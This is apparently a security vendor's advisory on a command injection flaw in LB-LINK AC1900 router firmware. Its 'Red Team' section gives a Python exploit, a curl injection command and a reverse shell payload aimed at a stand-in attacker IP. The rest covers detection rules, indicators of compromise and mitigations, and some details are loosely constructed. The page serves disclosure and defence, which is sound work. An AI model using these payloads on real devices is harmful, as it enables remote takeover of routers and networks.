CVE-2025-1610
Executive Summary
CVE-2025-1610 is a critical unauthenticated OS command injection vulnerability in the LB-LINK AC1900 Router firmware version 1.0.2. The flaw resides in the /goform/set_blacklist endpoint, where the mac and enable parameters are passed unsanitized to the websGetVar function, allowing remote attackers to execute arbitrary operating system commands. The vulnerability has been publicly disclosed with a working proof-of-concept (PoC), and the vendor has not responded to disclosure attempts, leaving the device unpatched. Given the router's exposure to the internet via Shodan, this poses a significant risk for remote compromise, including full device takeover, network pivoting, and data exfiltration.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- EPSS Score: 0.0% (low exploitation probability at time of analysis, but PoC is public)
The vulnerability is trivial to exploit, requiring no authentication, and provides full command execution as root. The public availability of the exploit increases the threat level to Critical.
Deep Dive & Mechanics
The vulnerability is a classic OS command injection in the web management interface of the LB-LINK AC1900 router. The endpoint /goform/set_blacklist is used to manage MAC address blacklisting. The websGetVar function retrieves the mac and enable parameters from the HTTP POST request and passes them directly into a system command without sanitization or escaping.
Vulnerable Code Path (conceptual):
char cmd[512];
snprintf(cmd, sizeof(cmd), "iptables -A INPUT -m mac --mac-source %s -j %s", websGetVar("mac"), websGetVar("enable"));
system(cmd);
An attacker can inject command separators (e.g., ;, |, &&) into the mac or enable parameters to execute arbitrary commands. For example:
mac=00:11:22:33:44:55;reboot
enable=DROP
This would execute iptables -A INPUT -m mac --mac-source 00:11:22:33:44:55;reboot -j DROP, causing the router to reboot.
The websGetVar function does not perform any input validation, making the injection straightforward. The attack is remote and unauthenticated, as the /goform/set_blacklist endpoint does not require a session cookie.
Vulnerable vs. Patched Code
Vulnerable Code (LB-LINK AC1900 1.0.2):
void handle_set_blacklist() {
char *mac = websGetVar("mac", "");
char *enable = websGetVar("enable", "");
char cmd[512];
snprintf(cmd, sizeof(cmd), "iptables -A INPUT -m mac --mac-source %s -j %s", mac, enable);
system(cmd);
}
Patched Code (Hypothetical):
void handle_set_blacklist() {
char *mac = websGetVar("mac", "");
char *enable = websGetVar("enable", "");
// Validate MAC address format
if (!is_valid_mac(mac)) {
websError(400, "Invalid MAC address");
return;
}
// Validate enable parameter
if (strcmp(enable, "DROP") != 0 && strcmp(enable, "ACCEPT") != 0) {
websError(400, "Invalid enable value");
return;
}
// Use execve with sanitized arguments
char *args[] = {"iptables", "-A", "INPUT", "-m", "mac", "--mac-source", mac, "-j", enable, NULL};
execve("/sbin/iptables", args, NULL);
}
The patched version validates the MAC address format and restricts the enable parameter to only DROP or ACCEPT. It also uses execve instead of system to avoid shell interpretation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target: LB-LINK AC1900 Router with firmware 1.0.2
- Network access to the router's web interface (typically port 80 or 443)
- Python3 with
requestslibrary
Exploit Script (Python):
import requests
target = "http://192.168.1.1"
payload = "00:11:22:33:44:55;id"
enable = "DROP"
url = f"{target}/goform/set_blacklist"
data = {"mac": payload, "enable": enable}
try:
r = requests.post(url, data=data, timeout=5)
print(f"Exploit sent. Response: {r.status_code}")
except Exception as e:
print(f"Error: {e}")
Manual Exploitation (curl):
curl -X POST http://192.168.1.1/goform/set_blacklist \
-d "mac=00:11:22:33:44:55;id&enable=DROP"
Reverse Shell Payload:
mac=00:11:22:33:44:55;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
enable=DROP
Blue Team
Detection:
- Monitor HTTP POST requests to
/goform/set_blacklistwith suspiciousmacorenableparameters containing shell metacharacters (;,|,&,$,`). - Look for outbound connections from the router to unusual IPs on high ports (e.g., 4444, 1337).
- Check for unexpected processes spawned by the web server (e.g.,
bash,sh,nc).
Honeypot Setup:
- Deploy a low-interaction honeypot mimicking the LB-LINK AC1900 web interface.
- Log all POST requests to
/goform/set_blacklistand alert on any command injection patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/goform/set_blacklistwithmacorenableparameters containing shell metacharacters. - Outbound connections from the router to external IPs on ports 4444, 1337, 8080, or 53 (DNS tunneling).
- Unusual DNS queries from the router (e.g., to domains controlled by attackers).
Host IOCs:
- Unexpected processes:
bash,sh,nc,python,perlrunning as root. - Modified iptables rules (e.g., new INPUT/OUTPUT chains).
- New cron jobs or startup scripts in
/etc/init.d/or/etc/crontab. - Files in
/tmp/with suspicious names (e.g.,.exploit,shell.sh).
File IOCs:
/tmp/.exploit– common name for dropped exploit scripts./var/run/– unexpected PID files for reverse shells.
Detection Engineering
YARA Rule
rule CVE_2025_1610_LBLINK_AC1900_OS_CMD_INJECTION {
meta:
description = "Detects OS command injection attempts against LB-LINK AC1900 router"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1610"
severity = "critical"
strings:
$cmd_inject = /(mac|enable)=[^&]*[;&|`$]/
$endpoint = "/goform/set_blacklist"
condition:
$endpoint and $cmd_inject
}
Sigma Rule
title: CVE-2025-1610 LB-LINK AC1900 OS Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/set_blacklist with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/goform/set_blacklist'
cs-uri-query|contains:
- 'mac=*;*'
- 'mac=*|*'
- 'mac=*&*'
- 'enable=*;*'
- 'enable=*|*'
- 'enable=*&*'
condition: selection
falsepositives:
- Legitimate use of semicolons in MAC addresses (unlikely)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-1610 LB-LINK AC1900 OS Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/goform/set_blacklist";
http_uri;
pcre:"/(mac|enable)=[^&]*[;&|`$]/Pi";
classtype:attempted-admin;
sid:1000001;
rev:1;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable remote management on the router if not required.
- Restrict access to the web interface to trusted IPs only (e.g., via firewall rules).
- Monitor logs for exploitation attempts using the provided Sigma/Suricata rules.
- Isolate the device on a separate VLAN with minimal network access.
Long-Term Fix:
- Since the vendor has not responded, the only permanent fix is to replace the device with a supported, patched router.
- If replacement is not possible, consider flashing open-source firmware (e.g., OpenWrt) if available for the hardware.
Workaround:
- Implement a reverse proxy (e.g., Nginx) in front of the router that filters out malicious payloads:
location /goform/set_blacklist {
if ($args ~* "(mac|enable)=[^&]*[;&|`$]") {
return 403;
}
proxy_pass http://192.168.1.1;
}
Valters IT
Securing Digital Frontiers